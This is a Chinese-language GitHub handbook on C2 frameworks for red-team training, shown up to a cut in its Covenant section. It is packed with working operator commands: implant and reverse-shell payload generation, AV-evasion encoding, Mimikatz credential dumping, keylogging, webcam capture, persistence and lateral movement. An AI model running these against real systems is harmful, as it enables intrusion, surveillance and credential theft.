ItsDarker/Command-and-Control-C2-Frameworks

GitHub: ItsDarker/Command-and-Control-C2-Frameworks

一份全面的 C2 框架实战手册,揭示命令与控制基础设施的工作原理与攻防对抗方法。

Stars: 0 | Forks: 0

# 🕵️ 完整的 C2 框架实战手册 [![Made with ❤️ by Fino John](https://img.shields.io/badge/Author-Fino%20John-blue)](https://medium.com/@finofranklin) [![Medium Post](https://img.shields.io/badge/Medium-The%20Invisible%20War%20Inside%20Your%20Network-black?logo=medium)](https://medium.com/@finofranklin/the-invisible-war-inside-your-network-a-beginners-guide-to-command-and-control-c2-frameworks-3ea8f094af6d) [![License: Educational](https://img.shields.io/badge/License-Educational%20Use%20Only-yellow)]() ## 📖 目录 1. [简介 — 无形的战争](#introduction) 2. [什么是 C2 及其存在的原因](#what-is-c2) 3. [C2 架构:三部分模型](#c2-architecture) 4. [每个从业者必须掌握的核心概念](#core-concepts) - 信标与抖动 - 驻留于系统(LotL) - 域名前置与重定向器 - DNS 隧道 - 无文件恶意软件 - 睡眠混淆 - 进程注入 - 可变形 C2 配置文件 5. [C2 通信协议](#protocols) 6. [开源 C2 框架深度解析](#frameworks) - [Sliver](#1-sliver) - [Havoc](#2-havoc) - [Mythic](#3-mythic) - [PowerShell Empire](#4-powershell-empire-bc-security) - [Metasploit / Meterpreter](#5-metasploit--meterpreter) - [Covenant](#6-covenant) - [Merlin](#7-merlin) - [PoshC2](#8-poshc2) - [Brute Ratel C4(付费)](#9-brute-ratel-c4-commercial) - [Cobalt Strike(付费)](#10-cobalt-strike-commercial) 7. [框架对比矩阵](#comparison-matrix) 8. [本地实验室搭建指南](#home-lab-setup) 9. [C2 基础设施设计](#c2-infrastructure-design) - 重定向器 - 域名前置 - CDN 滥用 - 基于云的 C2 10. [后渗透技术](#post-exploitation-techniques) - 权限提升 - 横向移动 - 凭据收集 - 持久化机制 - 数据外泄 11. [MITRE ATT&CK 映射](#mitre-attck-mapping) 12. [蓝队检测与狩猎](#blue-team-detection) 13. [红队 OPSEC](#opsec) 14. [学习路径与资源](#learning-path) 15. [参考资料与延伸阅读](#references) ## 简介 本手册在入门介绍的基础上进一步扩展,提供了一份详尽的参考,涵盖每个主流开源 C2 框架的安装、命令、用例、OPSEC 与防御手段。无论你是学生、红队成员,还是需要了解对手行为的防御者,本文档都能为你提供全面支持。 ## 什么是 C2? 命令与控制(Command and Control,C2)是现代网络攻击的中枢神经系统。没有它,一次成功的入侵只是一次性事件。有了 C2,攻击者便能: - **持久访问** — 可随时返回已攻陷的主机 - **可扩展控制** — 同时管理数十甚至上千个植入体 - **可否认的基础设施** — 流量看起来像正常网页浏览 - **操作灵活性** — 从单一仪表板下发任务、接收输出、横向移动、窃取数据 C2 框架不仅是攻击工具,更是**对手模拟平台**。如果你在防守网络,就必须理解这套基础设施是如何运作的。红队在授权合同下使用它们来测试组织的防御能力在实践中是否有效,而不仅仅是理论。 ## C2 架构 无论开源还是商业 C2 框架,都由三个组件构成: ``` [Operator] [C2 Server] [Implant/Agent] │ │ │ │ ◄──── Commands ────────►│◄──── Beaconing ─────────►│ │ │ │ (Human at (Team Server / (On victim's keyboard) Listener process) machine) ``` ### 代理(植入体 / 信标) - 在初始访问后运行于受害机器 - 定期向 C2 服务器回连以检查任务 - 设计小巧、隐蔽且具备持久性 - 可能完全在内存中运行(无文件) ### C2 服务器(团队服务器) - 接收所有代理回连的核心大脑 - 存储战利品(凭据、文件、截图) - 为下一轮回连排队任务 - 可能位于重定向器后方以隐藏真实 IP ### 操作员接口(客户端) - 面向人类的可视化仪表盘(GUI 或 CLI) - 操作员可查看所有已连接代理、下发命令、查看输出 - 可能支持多位操作员同时在线(多人模式) ## 核心概念 ### 信标与抖动 **信标**是代理的心跳 — 定时向 C2 服务器询问指令并提交收集到的数据。 **规律性的问题:** 每 60 秒精确回连会形成可识别的模式,容易被网络监控工具捕获。 **抖动(Jitter)** 通过加入随机偏差来解决这一问题: ``` Without jitter: 60s, 60s, 60s, 60s → DETECTABLE PATTERN With 30% jitter: 47s, 71s, 58s, 63s → Looks like normal irregular traffic ``` **Sliver 示例 — 设置带抖动的信标:** ``` # Generate a beacon with 60s sleep and 30% jitter sliver > generate beacon --http 192.168.1.100 --sleep 60s --jitter 30 --os windows --arch amd64 --save /tmp/beacon.exe ``` **Havoc 示例:** ``` # In your havoc.yaotl profile: Demon { Sleep = 5 Jitter = 30 # 30% jitter variance ... } ``` ### 驻留于系统(LotL) “驻留于系统”意味着使用**目标系统中原生、合法的工具**,而不是投放新的可疑可执行文件。 **常见的 Windows LOLBins:** | 可执行文件 | 滥用技术 | |------------|----------| | `powershell.exe` | 执行编码负载、下载启动器 | | `certutil.exe` | 下载文件、解码 base64 负载 | | `mshta.exe` | 执行 HTA(HTML 应用程序)负载 | | `regsvr32.exe` | 执行来自远程 URL 的 COM 脚本 | | `wmic.exe` | 执行进程、WMI 横向移动 | | `msiexec.exe` | 安装来自远程 URL 的 MSI 负载 | | `rundll32.exe` | 执行 DLL 负载 | | `bitsadmin.exe` | 下载文件、建立持久化 | **重要性:** 没有新文件 = 没有文件供 AV 扫描。攻击在受信任的、已签名的原生进程中运行。防御者必须检测行为,而非仅仅关注文件存在。 ### 域名前置与重定向器 **问题:** 如果防御者看到代理与 `evil-c2.com` 通信,会立即将其拦截。 **域名前置**将 C2 流量路由到受信任的 CDN(Cloudflare、AWS CloudFront、Azure CDN)。从外部看,流量似乎去往一个合法、可信域。CDN 静默地将请求转发到真实的 C2 服务器。 ``` [Agent] → HTTPS to cloudflare.com → [Cloudflare CDN] → Forwards to → [Your C2 Server] Defender sees: cloudflare.com traffic ✓ (trusted) Actual destination: your-c2.evil-domain.com ✗ (hidden) ``` **重定向器** 起到类似作用 — 中间服务器转发流量至真实 C2,保护其 IP 与位置: ``` [Agent] → [Redirector VPS #1] → [Redirector VPS #2] → [Team Server] ``` **Apache mod_rewrite 重定向器示例:** ``` # /etc/apache2/sites-available/redirector.conf RewriteEngine On RewriteCond %{HTTP_USER_AGENT} "Mozilla/5.0" [NC] RewriteRule ^/updates/(.*)$ https://your-teamserver.com/updates/$1 [P,L] RewriteRule ^.*$ https://google.com/ [L,R=302] ``` ### DNS 隧道 DNS 是任何网络中都被允许的协议。即使高度锁定的环境也会允许出站 DNS —— 因为阻断它会导致一切中断。 DNS 隧道将 C2 数据编码在 DNS 查询中: ``` Normal DNS: What is the IP of google.com? C2 DNS: What is the IP of aGVsbG8gd29ybGQ=.c2-domain.com? ↑ base64-encoded command/data ``` 攻击者控制 `c2-domain.com` 的权威 DNS 服务器。它读取查询中的编码数据、解码后返回指令。多数监控工具会将其视为正常 DNS 流量。 **Sliver DNS 隧道:** ``` # Start DNS listener sliver > dns --domains c2.yourdomain.com --no-canaries # Generate DNS implant sliver > generate --dns c2.yourdomain.com --os windows --save /tmp/dns_implant.exe ``` ### 无文件恶意软件 传统恶意软件会将可执行文件写入磁盘。AV 会扫描磁盘。无文件恶意软件完全跳过磁盘。 **工作原理:** 1. 初始访问通过钓鱼或漏洞交付 shellcode 2. shellcode 注入至合法运行进程(如 `explorer.exe`、`svchost.exe`) 3. 代理完全在该进程内存空间中运行 4. 从未在磁盘上留下文件 5. 机器重启?没了,但伤害可能已造成 **难以检测的原因:** AV 无法扫描不在磁盘上的内容。防御者必须依赖内存取证与进程行为分析。 ### 睡眠混淆 现代 EDR 持续监控进程内存。如果代理在睡眠(等待下次回连),其 shellcode 仍驻留在内存中,可被 EDR 扫描。 **睡眠混淆** 在睡眠时对代理自身内存进行加密,唤醒前再解密。这样代理在两次回连之间不可见。 **Havoc Demon** 实现了多种睡眠混淆方法,包括 Ekko、Foliage 和 Zilean。 ### 进程注入 将代理代码运行在合法进程中可降低被检测概率: ``` svchost.exe (legitimate Windows process) └── [Agent shellcode injected into this process's memory] └── [Agent beacons home appearing to be svchost network activity] ``` **常见注入技术:** | 技术 | 描述 | |------|------| | CreateRemoteThread | 经典方式,将线程注入远程进程 | | Process Hollowing | 创建挂起进程并替换其代码 | | DLL Injection | 强制目标进程加载恶意 DLL | | APC Injection | 通过异步过程调用队列执行代码 | | Reflective DLL Loading | 不接触磁盘加载 DLL | | Early Bird Injection | 在进程完全初始化前注入 | ### 可变形 C2 配置文件 **可变形配置文件**允许你**精确定制 C2 流量在网络上的外观** — 将信标伪装成合法应用流量。 典型用例: - 使信标看起来像 Microsoft Office 更新 - 使代理看起来像 Google Analytics 请求 - 模拟合法的 jQuery 或 CDN 请求 **Cobalt Strike 可变形配置片段:** ``` http-get { set uri "/jquery-3.3.1.min.js"; client { header "Accept" "text/html,application/xhtml+xml"; header "Host" "code.jquery.com"; metadata { base64url; parameter "callback"; } } server { header "Content-Type" "application/javascript"; output { print; } } } ``` ## C2 通信协议 | 协议 | 端口 | 规避等级 | 说明 | |------|------|----------|------| | HTTPS | 443 | 高 | 加密,融入网页流量 | | HTTP | 80 | 中 | 未加密但常见 | | DNS | 53 | 非常高 | 普遍允许,难以阻断 | | mTLS | 自定义 | 非常高 | 双向认证,强加密 | | WireGuard | 51820 | 高 | 基于 VPN 加密隧道 | | SMB | 445 | 中 | 内网 P2P,无需互联网 | | WebSockets | 80/443 | 高 | 长连接,类网页应用 | | ICMP | - | 中 | Ping 基础,常被忽视 | | HTTP/2 | 443 | 非常高 | 多路复用,多数工具无法解析 | | HTTP/3 (QUIC) | 443 UDP | 极端 | 大多数检测工具对其“失明” | ## 框架 ### 1. Sliver 由 Bishop Fox 开发,Sliver 是目前最广泛采用的开源 C2 框架之一,也是最接近 Cobalt Strike 的开源替代品。它为每个操作生成唯一的植入体,并使用每个二进制文件非对称加密密钥,使基于签名的检测更困难。 **关键特性:** - 多操作员(多人模式)支持 - 跨平台:Windows、Linux、macOS 植入体 - 动态编译,每个植入体使用独立密钥 - 内置 Armory(插件扩展包管理器) - 支持 BOF(Beacon Object File) - SOCKS5 代理 / 端口转发 - 会话(交互式)与信标(异步)模式 #### 安装 ``` # One-liner install (recommended) curl https://sliver.sh/install | sudo bash # OR: Manual install from Kali repos sudo apt install sliver # OR: Build from source (requires Go) sudo apt install build-essential mingw-w64 binutils-mingw-w64 g++-mingw-w64 git clone https://github.com/BishopFox/sliver.git cd sliver && make ``` #### 启动服务端 ``` # Start as daemon sudo sliver-server daemon # Or start interactively sudo sliver-server # Start client (connect to server) sliver ``` #### 多玩家设置 ``` # On the server — generate operator config sliver > multiplayer sliver > new-operator --name operator1 --lhost 192.168.1.100 # On the client machine — import config mkdir -p ~/.sliver-client/configs cp operator1_192.168.1.100.cfg ~/.sliver-client/configs/ # Connect sliver ``` #### 创建监听器 ``` # HTTPS listener sliver > https --lhost 0.0.0.0 --lport 443 # HTTP listener sliver > http --lhost 0.0.0.0 --lport 80 # mTLS listener (most secure) sliver > mtls --lhost 0.0.0.0 --lport 8888 # DNS listener sliver > dns --domains c2.yourdomain.com # WireGuard listener sliver > wg --lhost 0.0.0.0 --lport 51820 # View all active listeners sliver > jobs ``` #### 生成植入体 ``` # Windows executable via HTTPS sliver > generate --https 192.168.1.100 --os windows --arch amd64 --save /tmp/implant.exe # Windows shellcode (for injection) sliver > generate --mtls 192.168.1.100 --os windows --format shellcode --save /tmp/implant.bin # Linux ELF binary sliver > generate --http 192.168.1.100 --os linux --arch amd64 --save /tmp/implant_lin # macOS binary sliver > generate --https 192.168.1.100 --os darwin --arch arm64 --save /tmp/implant_mac # Beacon (async) with jitter — OPSEC preferred sliver > generate beacon --https 192.168.1.100 --sleep 60s --jitter 30 --os windows --save /tmp/beacon.exe # Staged shellcode via stager sliver > generate stager --lhost 192.168.1.100 --lport 443 --protocol https --save /tmp/stager.bin # With custom name (OPSEC) sliver > generate --https 192.168.1.100 --os windows --name WindowsUpdate --save /tmp/WindowsUpdate.exe ``` #### 会话管理 ``` # List active sessions/beacons sliver > sessions sliver > beacons # Interact with a session sliver > use [SESSION_ID] sliver (implant_name) > # Background a session sliver (implant_name) > background # Kill a session sliver > kill [SESSION_ID] ``` #### 后渗透命令 ``` # System information sliver (implant) > info sliver (implant) > whoami sliver (implant) > getuid sliver (implant) > getpid sliver (implant) > getgid # Process management sliver (implant) > ps # List processes sliver (implant) > migrate --pid 1234 # Migrate to process sliver (implant) > procdump --pid 1234 # Dump process memory # Filesystem sliver (implant) > ls /tmp # List directory sliver (implant) > cd C:\\Users\\ # Change directory sliver (implant) > download C:\\loot.txt # Download file sliver (implant) > upload /local/file.exe C:\\target\\file.exe # Upload # Execute commands sliver (implant) > shell # Interactive shell sliver (implant) > execute --output cmd.exe /c whoami sliver (implant) > execute-assembly /local/SharpHound.exe # Run .NET in memory # Network sliver (implant) > ifconfig sliver (implant) > netstat sliver (implant) > portfwd add --remote 192.168.10.10:22 # Port forward sliver (implant) > socks5 start --host 127.0.0.1 --port 1080 # SOCKS proxy # Privilege escalation sliver (implant) > getprivs # View current privileges sliver (implant) > getsystem # Attempt SYSTEM (via armory) # Credential access sliver (implant) > hashdump # Dump SAM hashes sliver (implant) > armory install mimikatz # Install Mimikatz from Armory sliver (implant) > mimikatz "privilege::debug" "sekurlsa::logonpasswords" # Screenshots & keylogging sliver (implant) > screenshot sliver (implant) > armory install keylogger # Pivoting sliver (implant) > pivots tcp --lport 9000 # Create TCP pivot listener sliver > generate --tcp-pivot 192.168.10.5:9000 --os windows # Generate pivot implant ``` #### Armory(扩展管理器) ``` # List available packages sliver > armory # Install extensions sliver > armory install rubeus sliver > armory install seatbelt sliver > armory install sharpview sliver > armory install mimikatz sliver > armory install nanodump ``` **适用场景:** - 需要协议灵活性的企业红队任务 - 运行在具备成熟 EDR 与精细防火墙的环境 - 多操作员红队演练 - 任何需要免费 Cobalt Strike 替代方案的场景 ### 2. Havoc 由 @C5pider 创建,Havoc 是一个以规避为主要设计目标的现代化、可变形 C2 框架。其“Demon”代理从底层就针对绕过现代 EDR 方案进行了构建。 **关键特性:** - 睡眠混淆(多种方法:Ekko、Foliage、Zilean) - 堆栈欺骗以击败堆栈回溯检测 - 间接系统调用以绕过 API Hook - 内存模块 stomping 以规避内存检测 - Python 脚本 API 用于自动化 - 可扩展的模块化架构 - 基于 Qt 的 GUI 客户端 #### 安装(Ubuntu/Debian/Kali) ``` # Clone repository git clone https://github.com/HavocFramework/Havoc.git cd Havoc # Install dependencies sudo apt update && sudo apt install -y \ git build-essential apt-utils cmake \ libfontconfig1 libglu1-mesa-dev libgtest-dev libspdlog-dev \ libboost-all-dev libncurses5-dev libgdbm-dev libssl-dev \ libreadline-dev libffi-dev libsqlite3-dev libbz2-dev \ mesa-common-dev qtbase5-dev qtchooser qt5-qmake \ qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev \ qtdeclarative5-dev golang-go mingw-w64 nasm # Install Python 3.10 (required) sudo add-apt-repository ppa:deadsnakes/ppa sudo apt update sudo apt install python3.10 python3.10-dev # Build teamserver make ts-build # Build client make client-build ``` #### 启动 Havoc ``` # Start the teamserver ./havoc server --profile ./profiles/havoc.yaotl -v --debug # In a separate terminal — start the client ./havoc client ``` #### 配置文件(`profiles/havoc.yaotl`) ``` Teamserver { Host = "0.0.0.0" Port = 40056 Build { Compiler64 = "x86_64-w64-mingw32-gcc" Compiler86 = "i686-w64-mingw32-gcc" Nasm = "/usr/bin/nasm" } } Operators { user "operator1" { Password = "SecureP@ssw0rd!" } } Listeners { Http { Name = "https-listener" Hosts = ["0.0.0.0"] Port = 443 Secure = true Cert = "/path/to/cert.pem" Key = "/path/to/key.pem" Response { Headers = [ "Content-type: text/html", "Server: Apache" ] } } } Demon { Sleep = 2 Jitter = 50 TrustXForwardedFor = false Injection { Spawn64 = "C:\\Windows\\System32\\notepad.exe" Spawn86 = "C:\\Windows\\SysWOW64\\notepad.exe" } } ``` #### 创建监听器 通过 GUI:**视图 → 监听器 → 添加** 或通过 Python API: ``` import havoc import havoc.service as havoc_service # Connect to teamserver client = havoc.Connect(host="127.0.0.1", port=40056, user="operator1", password="SecureP@ssw0rd!") # Create HTTP listener listener = { "Name": "http-listener", "Protocol": "Https", "Host": "0.0.0.0", "Port": "443", "Secure": True, } client.listener_start("Https", listener) ``` #### 生成载荷 通过 GUI:**攻击 → 载荷** 配置: - 格式:Windows 可执行文件 / DLL / Shellcode - 架构:x64 - 睡眠:60 - 抖动:30 - 睡眠技术:Ekko(OPSEC) - 间接系统调用:启用 - 堆栈复制:启用 #### 后渗透命令(Demon Shell) ``` # System recon Demon » whoami Demon » getuid Demon » pwd Demon » ls Demon » ps # Process list # Shell execution Demon » shell whoami /groups Demon » shell net localgroup administrators # File operations Demon » download C:\Users\victim\Documents\passwords.txt Demon » upload /local/tool.exe C:\Windows\Temp\tool.exe # Process injection Demon » inject --pid 1234 /local/shellcode.bin # .NET execution in memory Demon » dotnet --dotnet-file /local/SharpHound.exe -- -c All # PowerShell (CLR injection — no powershell.exe) Demon » powershell Get-Process Demon » powershell-import /local/PowerView.ps1 Demon » powershell Get-NetDomain # Token manipulation Demon » token steal --pid 1234 Demon » token make --user DOMAIN\\Administrator --password P@ssw0rd Demon » token revert # Pivot via SMB Demon » rportfwd add --bindport 8080 --fwdhost 192.168.10.10 --fwdport 80 Demon » socks 5 start ``` **适用场景:** - 接触具备高级 EDR(CrowdStrike、SentinelOne、Defender for Endpoint)的环境 - 研究现代规避技术 - 需要对代理行为进行细粒度控制的红队 ### 3. Mythic 由 Cody Thomas(@its-a-feature)在 SpecterOps 开发,Mythic 是一个**模块化、基于 Docker、多操作员 C2 框架**,带有 Web UI。框架本身不包含代理或 C2 配置文件 —— 它们全部作为可安装的插件提供,实现最大灵活性。 **关键特性:** - 完整的基于 Web 的 UI(React) - 每个命令内置 MITRE ATT&CK 映射 - 基于角色的访问控制(RBAC) - 每个操作可配置黑名单 - 通过 WebSockets 实时任务输出 - 完整审计日志 - 与 Jupyter Notebook 集成用于脚本编写 - 支持 GraphQL API 用于自动化 #### 安装 ``` # Prerequisites: Docker and docker-compose curl -fsSL https://get.docker.com -o get-docker.sh sudo sh get-docker.sh sudo usermod -aG docker $USER # Clone and build git clone https://github.com/its-a-feature/Mythic.git cd Mythic sudo make # Builds the mythic-cli binary # Start Mythic sudo ./mythic-cli start # Get admin password cat .env | grep MYTHIC_ADMIN_PASSWORD ``` #### Mythic Web UI 访问 `https://127.0.0.1:7443`(自签名证书 — 忽略浏览器警告) 默认凭据:`mythic_admin` / (从 `.env` 文件获取) #### 安装代理 ``` # Apollo (Windows, C#) sudo ./mythic-cli install github https://github.com/MythicAgents/Apollo.git # Poseidon (Linux/macOS, Go) sudo ./mythic-cli install github https://github.com/MythicAgents/poseidon.git # Merlin (cross-platform, Go) sudo ./mythic-cli install github https://github.com/MythicAgents/merlin.git # Medusa (cross-platform, Python) sudo ./mythic-cli install github https://github.com/MythicAgents/medusa.git # Forge (custom agent template) sudo ./mythic-cli install github https://github.com/MythicAgents/forge.git # List installed agents sudo ./mythic-cli list ``` #### 安装 C2 配置文件 ``` # HTTP profile (most common) sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http # WebSocket profile sudo ./mythic-cli install github https://github.com/MythicC2Profiles/websocket # Dynamic HTTP (highly customizable traffic shaping) sudo ./mythic-cli install github https://github.com/MythicC2Profiles/dynamichttp ``` #### Mythic 管理命令 ``` # Start/stop all services sudo ./mythic-cli start sudo ./mythic-cli stop # Status sudo ./mythic-cli status # View logs sudo ./mythic-cli logs # Restart a specific container sudo ./mythic-cli restart mythic_server # Update all components sudo ./mythic-cli update # Database reset (nuclear option) sudo ./mythic-cli database reset ``` #### 创建载荷(通过 Web UI) 1. 导航至 **Payloads → Create Payload** 2. 选择操作系统:Windows / Linux / macOS 3. 选择代理:Apollo、Poseidon、Merlin 等 4. 选择 C2 配置文件:HTTP、WebSocket 5. 配置回调主机/端口、睡眠间隔、抖动 6. 选择要包含的命令 7. 构建 → 下载 #### Apollo 代理 — 关键命令 ``` # Basic recon whoami pwd ls C:\Users ps # Process list # Command execution shell whoami /all # Shell command run mimikatz.exe "sekurlsa::logonpasswords" # Run binary # File operations upload # Upload file to target download C:\path\to\file # Download from target # Credential access mimikatz sekurlsa::logonpasswords mimikatz lsadump::sam # Injection shinject --pid 1234 --shellcode-file /local/shellcode.bin inject --pid 1234 --shellcode-file /local/shellcode.bin # .NET in-memory execution execute_assembly /local/SharpHound.exe -c All # Lateral movement pth --username admin --domain CORP --ntlm aad3b435b514... # Pass-the-Hash make_token --username admin --domain CORP --password P@ss # Make token # Pivoting (SMB) link --hostname 192.168.10.5 --pipename MyPipe ``` **适用场景:** - 大型多操作员红队行动 - 需要详细日志记录与 ATT&CK 映射的安全研究 - 审计跟踪至关重要的训练环境 - 自定义代理开发 ### 4. PowerShell Empire(BC Security) 最初由 @harmj0y 及团队创建,现由 BC Security 维护。Empire 允许操作员运行**无需 `powershell.exe` 的 PowerShell 代理** — 利用 Windows 自身的脚本基础设施。 **关键特性:** - 纯 PowerShell 代理(无需 `powershell.exe`) - 也支持 C# 与 Python 代理 - 400+ 后渗透模块 - AMSI 绕过能力 - 内置 Starkiller Web GUI - 加密通信 - 可适配通信以规避网络检测 #### 安装 ``` # Method 1: Kali (one command) sudo apt install powershell-empire # Method 2: From source git clone --recursive https://github.com/BC-SECURITY/Empire.git cd Empire ./setup/checkout-latest-tag.sh ./ps-empire install -y # Method 3: Docker docker pull bcsecurity/empire docker run -it -p 1337:1337 -p 5000:5000 bcsecurity/empire ``` #### 启动 Empire ``` # Start server ./ps-empire server # In separate terminal — start client ./ps-empire client # Or start Starkiller (web GUI) — bundled from v5+ # Access at https://localhost:1337 (default creds: empireadmin / password123) ``` #### 监听器 ``` # In Empire client (Empire) > listeners # Create HTTP listener (Empire: listeners) > uselistener http (Empire: listeners/http) > set Name http_listener (Empire: listeners/http) > set Host http://192.168.1.100 (Empire: listeners/http) > set Port 80 (Empire: listeners/http) > set Jitter 0.3 (Empire: listeners/http) > execute # Create HTTPS listener (Empire: listeners) > uselistener https (Empire: listeners/https) > set Host https://192.168.1.100 (Empire: listeners/https) > set Port 443 (Empire: listeners/https) > execute # List active listeners (Empire: listeners) > list ``` #### 启动器(载荷生成器) ``` # PowerShell one-liner stager (Empire) > usestager windows/launcher_bat (Empire: stager/windows/launcher_bat) > set Listener http_listener (Empire: stager/windows/launcher_bat) > execute # DLL stager (Empire) > usestager windows/dll (Empire: stager/windows/dll) > set Listener http_listener (Empire: stager/windows/dll) > set Arch x64 (Empire: stager/windows/dll) > set Language powershell (Empire: stager/windows/dll) > execute # Macro stager (Word/Excel) (Empire) > usestager windows/macro (Empire: stager/windows/macro) > set Listener http_listener (Empire: stager/windows/macro) > execute # HTA stager (Empire) > usestager windows/hta (Empire: stager/windows/hta) > set Listener http_listener (Empire: stager/windows/hta) > execute ``` #### 代理交互 ``` # List connected agents (Empire) > agents # Interact with agent (Empire) > interact XXXXXXXX # Use agent name or ID # Rename agent (Empire: XXXXXXXX) > rename victim_workstation # Shell commands (Empire: agent) > shell whoami (Empire: agent) > shell ipconfig /all (Empire: agent) > shell net user /domain ``` #### 关键模块 ``` # Situational awareness (Empire: agent) > usemodule situational_awareness/host/winenum (Empire: agent) > usemodule situational_awareness/host/antivirusproduct (Empire: agent) > usemodule situational_awareness/host/get_uaclevel (Empire: agent) > usemodule situational_awareness/network/portscan # Privilege escalation (Empire: agent) > usemodule privesc/bypassuac_eventvwr (Empire: agent) > usemodule privesc/getsystem (Empire: agent) > usemodule privesc/sherlock # CVE checks # Credential harvesting (Empire: agent) > usemodule credentials/mimikatz/logonpasswords (Empire: agent) > usemodule credentials/mimikatz/sam (Empire: agent) > usemodule credentials/mimikatz/dcsync (Empire: agent) > usemodule credentials/credential_injection # Lateral movement (Empire: agent) > usemodule lateral_movement/invoke_psexec (Empire: agent) > usemodule lateral_movement/invoke_wmi (Empire: agent) > usemodule lateral_movement/invoke_smbexec (Empire: agent) > usemodule lateral_movement/invoke_dcom # Persistence (Empire: agent) > usemodule persistence/registry (Empire: agent) > usemodule persistence/schtasks (Empire: agent) > usemodule persistence/wmi_updater # Collection (Empire: agent) > usemodule collection/keylogger (Empire: agent) > usemodule collection/screenshot (Empire: agent) > usemodule collection/clipboard_monitor ``` **适用场景:** - 以 PowerShell 为主的 Windows 企业环境 - 不接触磁盘的运行中操作 - OSCP 考试准备(高频考点) - 具备 PowerShell 技能的团队 ### 5. Metasploit / Meterpreter 通用起点。Meterpreter 是 Metasploit 中功能完整的 C2 代理。超过 2,300 个漏洞利用覆盖 Windows、Linux、macOS、Web 应用与网络设备。 **每个进入进攻安全领域的人都应从这里开始。这是不可跳过的。** #### 安装 ``` # Pre-installed on Kali Linux. Update: sudo apt update && sudo apt install metasploit-framework # Manual install (Ubuntu/Debian) curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall chmod 755 msfinstall ./msfinstall ``` #### 启动 Metasploit ``` # Start msfconsole msfconsole # Start with quiet mode (no banner) msfconsole -q # Initialize database (first run) sudo msfdb init msfconsole ``` #### 使用 msfvenom 生成载荷 ``` # Windows reverse TCP executable msfvenom -p windows/x64/meterpreter/reverse_tcp \ LHOST=192.168.1.100 LPORT=4444 \ -f exe -o /tmp/payload.exe # Windows reverse HTTPS (encrypted) msfvenom -p windows/x64/meterpreter/reverse_https \ LHOST=192.168.1.100 LPORT=443 \ -f exe -o /tmp/https_payload.exe # Windows DLL payload msfvenom -p windows/x64/meterpreter/reverse_tcp \ LHOST=192.168.1.100 LPORT=4444 \ -f dll -o /tmp/payload.dll # Linux reverse TCP ELF msfvenom -p linux/x64/meterpreter/reverse_tcp \ LHOST=192.168.1.100 LPORT=4444 \ -f elf -o /tmp/payload_lin # PHP webshell msfvenom -p php/meterpreter/reverse_tcp \ LHOST=192.168.1.100 LPORT=4444 \ -f raw -o /tmp/shell.php # PowerShell payload msfvenom -p windows/x64/meterpreter/reverse_tcp \ LHOST=192.168.1.100 LPORT=4444 \ -f psh -o /tmp/payload.ps1 # Encoded payload (bypass basic AV) msfvenom -p windows/x64/meterpreter/reverse_tcp \ LHOST=192.168.1.100 LPORT=4444 \ -e x64/xor_dynamic -i 10 \ -f exe -o /tmp/encoded_payload.exe ``` #### 设置监听器(multi/handler) ``` msf6 > use exploit/multi/handler msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set LHOST 192.168.1.100 msf6 exploit(multi/handler) > set LPORT 4444 msf6 exploit(multi/handler) > set ExitOnSession false # Keep listening for more msf6 exploit(multi/handler) > exploit -j # Background job ``` #### Meterpreter 命令 ``` # ─── CORE ─────────────────────────────────────────────── meterpreter > help # Show all commands meterpreter > background # Send session to background meterpreter > sessions -i 1 # Interact with session 1 meterpreter > exit # Terminate session # ─── SYSTEM INFO ──────────────────────────────────────── meterpreter > sysinfo # OS, hostname, architecture meterpreter > getuid # Current user meterpreter > getpid # Current process ID meterpreter > ps # Process list meterpreter > checkvm # Check if running in VM # ─── PRIVILEGE ESCALATION ─────────────────────────────── meterpreter > getsystem # Attempt SYSTEM via various techniques meterpreter > getprivs # List current privileges meterpreter > use incognito # Load token impersonation module meterpreter > list_tokens -u # List available tokens meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM" # ─── PROCESS MANIPULATION ─────────────────────────────── meterpreter > migrate 1234 # Migrate to PID 1234 meterpreter > migrate -N explorer.exe # Migrate to named process meterpreter > execute -f cmd.exe -i -H # Execute and interact # ─── FILESYSTEM ───────────────────────────────────────── meterpreter > pwd # Current directory meterpreter > cd C:\\Users # Change directory meterpreter > ls # List files meterpreter > cat C:\\secret.txt # Read file meterpreter > download C:\\loot.txt /local/loot.txt meterpreter > upload /local/tool.exe C:\\Windows\\Temp\\tool.exe meterpreter > search -d C:\\ -f *.doc # Search for files meterpreter > edit C:\\hosts # Edit file # ─── NETWORKING ───────────────────────────────────────── meterpreter > ifconfig # Network interfaces meterpreter > arp # ARP table meterpreter > route # Routing table meterpreter > portfwd add -l 8080 -r 192.168.10.10 -p 80 # Port forward meterpreter > portfwd list # ─── PIVOTING ─────────────────────────────────────────── meterpreter > run post/multi/manage/autoroute # Auto-add routes meterpreter > background msf6 > route add 10.10.10.0/24 1 # Manually add pivot route msf6 > use auxiliary/server/socks_proxy msf6 > set SRVPORT 1080 msf6 > run -j # SOCKS proxy for proxychains # ─── CREDENTIAL HARVESTING ────────────────────────────── meterpreter > hashdump # Dump SAM hashes meterpreter > load kiwi # Load Kiwi (Mimikatz 2.0) meterpreter > creds_all # Dump all credentials (Kiwi) meterpreter > lsa_dump_sam # SAM dump via Kiwi meterpreter > lsa_dump_secrets # LSA secrets via Kiwi meterpreter > golden_ticket_create # Create Kerberos golden ticket # ─── PERSISTENCE ──────────────────────────────────────── meterpreter > run post/windows/manage/persistence_exe # EXE persistence meterpreter > run persistence -S -U -X -i 30 -p 4444 -r 192.168.1.100 # ─── UI/CAPTURE ───────────────────────────────────────── meterpreter > screenshot # Take screenshot meterpreter > screenshare # Live screen view meterpreter > keyscan_start # Start keylogger meterpreter > keyscan_dump # Dump keylogger output meterpreter > keyscan_stop meterpreter > record_mic 30 # Record microphone 30s meterpreter > webcam_snap # Take webcam photo # ─── POST MODULES ─────────────────────────────────────── meterpreter > run post/windows/gather/enum_shares meterpreter > run post/windows/gather/enum_logged_on_users meterpreter > run post/windows/gather/enum_applications meterpreter > run post/multi/recon/local_exploit_suggester ``` **适用场景:** - 每个进攻安全新手的第一个 C2 - CTF 比赛与认证考试准备(OSCP、PNPT) - 授权渗透测试中的漏洞验证 - 在转向专用框架前的基础 ### 6. Covenant 一个基于 .NET 的协作式 C2 框架,带有简洁的 Web GUI。“Grunt”代理运行在 .NET 运行时中 — 原生于 